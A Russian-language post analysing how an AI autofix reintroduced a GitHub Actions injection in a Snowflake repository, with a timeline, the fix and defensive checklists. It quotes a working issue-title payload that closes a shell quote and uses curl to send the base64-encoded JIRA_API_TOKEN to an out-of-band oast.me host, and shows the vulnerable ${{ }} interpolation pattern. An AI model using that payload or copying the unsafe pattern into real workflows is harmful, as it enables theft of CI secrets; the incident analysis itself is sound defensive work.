Автофикс от ИИ вернул инъекцию в GitHub Actions
История короткая и неприятная. 18 июня 2026 года в публичный репозиторий snowflakedb/snowflake-connector-net был смержен пулл-реквест #1218 — рутинный, «обновляем Jira-воркфлоу, кода не касаемся». В списке соавторов коммита значится Copilot Autofix powered by AI. Через пять дней исследователи Wiz забрали из этого репозитория рабочий API-токен Jira, отправив в трекер issue с определённым заголовком.
Разбираем по коммитам — благо всё лежит открыто и проверяется руками.
Что именно изменилось
До правки файл .github/workflows/jira_issue.yml собирал JSON для Jira по-нормальному: заголовок issue попадал в переменную окружения, а jq формировал payload с параметром --arg, который сам занимается экранированием.
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: jq -n --arg title "$ISSUE_TITLE" ...
После правки логика стала такой:
run: TITLE=$(echo '${{ github.event.issue.title }}' | sed ...)
Разница фундаментальная, хотя визуально мелкая. Конструкция ${{ … }} в GitHub Actions — не переменная шелла, а шаблонизатор, который подставляет значение в текст скрипта до его запуска. То есть sed работает уже после того, как заголовок стал частью команды. Экранировать что-либо на этом этапе поздно: одинарная кавычка внутри заголовка закрывает echo, и дальше в строке оказывается всё, что автор issue туда написал.
Никогда не подставляйте ${{ github.event.* }} напрямую в тело run:. Всё, что приходит от пользователя, — заголовки и тела issue, имена веток, комментарии, названия PR — прокидывается только через env: и читается как обычная шелл-переменная в кавычках.
Почему не сработал второй предохранитель
В воркфлоу была проверка, которая по замыслу ограничивала запуск — условие на github.event.pull_request.user.login. Проблема в том, что воркфлоу срабатывает на событии issues: opened, а у этого события объекта pull_request вообще нет. Обращение к полю несуществующего объекта даёт пустое значение, условие складывается в «истину», и шаг выполняется всегда.
Классическая ловушка: защита, написанная для одного триггера, механически перенесённая на другой.
Хронология
Пять дней — это окно, в течение которого воркфлоу с секретом JIRA_API_TOKEN в окружении реагировал на issue, открытый любым человеком в интернете.
Как это забрали
Первая попытка эксплуатации, по описанию Wiz, не сработала: комментарий через # не закрывал конструкцию так, как нужно. Рабочим оказался вариант, который аккуратно закрывает кавычку, выполняет свою команду и открывает кавычку обратно, чтобы остаток строки не сломал парсинг:
' ; curl -s "https://<поддомен>.oast.me?t=`printf %s $JIRA_API_TOKEN|base64 -w0`" ; echo '\n```
Токен ушёл в base64 через внешний домен для out-of-band-подтверждения. Дальше он аутентифицировался в `snowflakecomputing.atlassian.net` как `qa@snowflake.net` и давал доступ на чтение к инженерным проектам, проектам по комплаенсу и bug bounty.
Починили в тот же день, 23 июня: коммит `1dc7766` в PR #1402 вернул переменные `ISSUE_TITLE`, `ISSUE_BODY`, `ISSUE_URL` в блок `env:` и сборку JSON через `jq -n --arg`. Токен отозвали 24 июня. CVE не присваивался — это не уязвимость продукта, это дефект конфигурации CI конкретного репозитория.
[warn]
**Важная оговорка про источник.** Red Agent — собственная разработка Wiz, и текст, где он «сам нашёл и сам проэксплуатировал», работает в том числе как реклама продукта. Проверяемая часть истории — коммиты, даты и содержимое диффов: они публичны, я их сверил в репозитории. Всё, что касается автономности агента, остаётся заявлением вендора.
[/warn]
## Что из этого следует, если ИИ правит ваш код
Здесь интересна не столько сама инъекция — этому классу багов лет пятнадцать — сколько направление правки. Инструмент, задача которого «чинить безопасность», заменил корректный шаблон на некорректный, и человек, ревьюивший PR с описанием «CI yml adjustment, no code changes», это пропустил.
Три практических вывода, которые применимы к любому репозиторию с агентом в контуре:
**Диффы воркфлоу — не «конфиг», а код с доступом к секретам.** Строка в `.github/workflows/` может стоить дороже, чем сотня строк в бизнес-логике. Правило «PR только по CI ревьюим быстро» стоит отменить.
**Проверяйте направление изменения, а не только результат.** Полезный вопрос к любому автофиксу: что здесь было раньше и почему? Замена `jq --arg` на `sed` — это откат к худшему варианту, и такое видно только при взгляде на «до».
**Ставьте автоматику на сам класс проблемы.** Инъекции через `${{ }}` детектируются статически. Минимум — прогонять `actionlint` и `zizmor` в CI, чтобы про такие подстановки узнавал робот, а не исследователь.
[success]
**Быстрый чек-лист по своим воркфлоу**
- `grep -rn '\${{ github.event' .github/workflows/` — глазами посмотреть каждое попадание внутри `run:`.
- Триггеры `issues`, `issue_comment`, `pull_request_target`, `discussion` — все считаются недоверенным вводом.
- Секреты не должны попадать в шаги, которые обрабатывают пользовательский текст.
- Условия `if:` проверить на соответствие фактическому триггеру: поля чужого события молча дают пусто.
- Токены интеграций — минимальные права и ротация по расписанию, а не «когда утечёт».
[/success]
[important]
Автофикс, сгенерированный моделью, — это предложение, а не патч от эксперта. Вес ему придаёт только ревью, а ревью работает лишь тогда, когда смотрят на «было → стало», а не на «выглядит разумно».
[/important]
## По теме на форуме
- [Агент в режиме «разрешаю всё»: контейнер, microVM или отдельная машина](https://gig.ovh/t/topic/471)
- [Orca: полное руководство по агентной IDE — worktree, ревью, Design Mode, CLI и удалённые режимы](https://gig.ovh/t/topic/477)
## Источники
- [Wiz Research — разбор цепочки эксплуатации](https://www.wiz.io/blog/red-agent-snowflake-copilot-cicd-bug)
- [PR #1218 в snowflakedb/snowflake-connector-net](https://github.com/snowflakedb/snowflake-connector-net/pull/1218)
- [Коммит 1dc7766 — исправление воркфлоу](https://github.com/snowflakedb/snowflake-connector-net/commit/1dc7766c5aa4b07da3cf3416e501364d3bc827a0)
- [PR #1402 — тот же фикс в виде пулл-реквеста](https://github.com/snowflakedb/snowflake-connector-net/pull/1402)
[question]
У кого в репозиториях уже включён Copilot Autofix или похожий агент — вы ревьюите его правки так же придирчиво, как правки коллеги, или по факту жмёте «мержить» быстрее? И гоняет ли кто-нибудь `actionlint`/`zizmor` на своих воркфлоу — ловили ли они у вас что-то реальное?
[/question]
